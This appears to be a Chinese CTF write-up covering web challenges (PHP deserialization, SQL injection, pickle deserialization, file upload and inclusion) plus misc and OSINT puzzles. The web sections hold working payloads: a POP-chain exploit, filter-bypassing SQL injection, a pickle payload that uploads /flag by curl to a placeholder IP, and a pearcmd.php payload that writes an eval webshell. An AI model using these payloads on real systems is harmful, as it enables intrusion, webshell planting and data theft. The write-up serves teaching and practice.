web
POPgadget
php反序列化,源码如下;
php
<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>
B::__destruct()作为开头,调用A不存在的变量,触发A::__get(),调用Fun不存在的方法,触发__call的回调函数执行phpinfo,flag在phpinfo中;
php
# pop链
B::__destruct() => A::__get() => Fun::__call()
php
# exp
<?php
class Fun{
private $func = 'call_user_func_array';
}
class A {
public $a;
}
class B {
public $p = 'phpinfo';
}
$a = new B();
$b = new A();
$c = new Fun();
$a->a = $b;
$b->a = $c;
echo urlencode(serialize($a));
?>
php
# payload
?begin=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A20%3A%22call_user_func_array%22%3B%7D%7D%7D
sql教学局
sql注入,给出了提示,flag分为三段;
经测试发现,or、from、select、load被替换为空,空格、=被过滤不能使用,替换为空的可双写绕过,空格使用/**/代替、=使用like代替;
然后根据提示查询三段flag,需注意password、score、information_schema中都有or需双写;
sql
# flag1
?user=1'union/**/selselectect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd%23
# flag2
?user=1'union/**/selselectect/**/group_concat(grade)/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'%23
# flag3
?user=1'union/**/selselectect/**/loloadad_file("/flag")%23
pickelshop
有登录、注册、pickleshop三个页面,先注册账号,发现返回了cookie,明显是pickle反序列化;
构造payload
python
import pickle
import base64
class Flag(object):
def __reduce__(self):
return (eval, ("__import__('os').system('curl -T /flag xxx.xxx.xxx.xxx:7777')",))
flag = Flag()
print(base64.b64encode(pickle.dumps(flag)))
尝试发现反序列化在登录页面,不在pickleshop页面,在登录处加上cookie发起请求;
提前开启监听,请求后收到flag;
zupload
下载附件源码,发现index.php中存在任意文件读取;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo json_encode(array(
'status' => 'error',
'message' => 'Not implemented yet'
));
}
打开题目是个文件上传界面,实际上直接读取文件即可;
zupload-pro
与上一题区别不大,还是直接读文件,增加了过滤而已,action参数值开头不能为 / 且不能包含 .. ,使用php://filter伪协议读取/flag即可;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
} //action参数值开头不能为 / 且不能包含 ..
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'File upload failed'
));
}
}
php
?action=php://filter/read=convert.base64-encode/resource=/flag
base64解码得到flag;
zupload-pro-plus
与上题zupload-pro index.php中get请求部分的代码一致,使用上题的payload伪协议读取flag即可;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
伪协议读取flag,进行base64解码即可获得flag;
php
?action=php://filter/read=convert.base64-encode/resource=/flag
zupload-pro-plus-max
限制了斜杠 / 的数量,不能再使用伪协议了,尝试pearcmd.php文件包含发现成功;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
使用pearcmd.php文件包含写入一句话木马,此时参数action中是没有斜杠的符合要求,连接木马获取flag即可;
php
# payload,需要在bp中请求防止编码问题
?+config-create+/&action=pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
zupload-pro-plus-max-ultra
查看index.php代码发现使用了unzip命令,将上传的zip文件解压到uploads/目录下;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
关键代码如下,解压上传的zip文件到uploads/目录下;
php
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
将指向/flag的软链接压缩成zip上传,访问uploads/目录下的软链接即可下载/flag文件,获得flag;
zupload-pro-plus-max-ultra-premium
还是可以使用上一题的方法,index.php代码与上一题有区别,但是不影响软链接的使用,上传指向/flag软链接的压缩包,访问uploads/目录下的软链接flag即可获得flag;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_name_new = uniqid('', true) . '.' . $file_ext;
$file_destination = 'uploads/' . $file_name_new;
if (!move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'error',
'message' => 'Failed to upload file'
));
}
exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
上传软链接压缩包,访问uploads/flag软链接获得flag;
zupload-pro-plus-enhanced
还是这一系列的题,直接上传木马shell.zip.php即可;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
关键代码如下,使用xxx.zip.php的文件名即可绕过后缀判断,上传php文件到uploads/目录;
php
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]); //xxx.zip.php符合$file_ext[1]=='zip'
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
上传木马shell.zip.php并访问获取flag;
zupload-pro-revenge
最后一题了,直接上传木马连接即可,无任何限制;
php
# index.php
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'File upload failed'
));
}
}
misc
real check in
给了编码字符串,直接base32解码得到flag;
Tupper
写python脚本将附件中所有文件内容按顺序拼接,得到base64字符串,解码后得到一串数字;
python
14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184
多种解码都失败,后根据题目名发现是利用tupper公式绘图,网上找脚本即可,将数字放入k中运行绘图获得flag;
python
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image
def Tupper_self_referential_formula(k):
aa = np.zeros((17, 106))
def f(x, y):
y += k
a1 = 2 ** -(-17 * x - y % 17)
a2 = (y // 17) // a1
return 1 if a2 % 2 > 0.5 else 0
for y in range(17):
for x in range(106):
aa[y, x] = f(x, y)
return aa[:, ::-1]
k = 14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
# 翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)
plt.imshow(dst1)
plt.show()
where is crazyman v1.0
OSINT题目,需找到给出的图中地段名称;
搜图发现图中所处之地为 秋叶原 ,于是flag为,begin{秋叶原} ;
where is crazyman v2.0
OSINT题目,需找到给出的图中景点名称;
搜图找到景点名称 Boulevard World ,得到flag,begin{Boulevard World} ;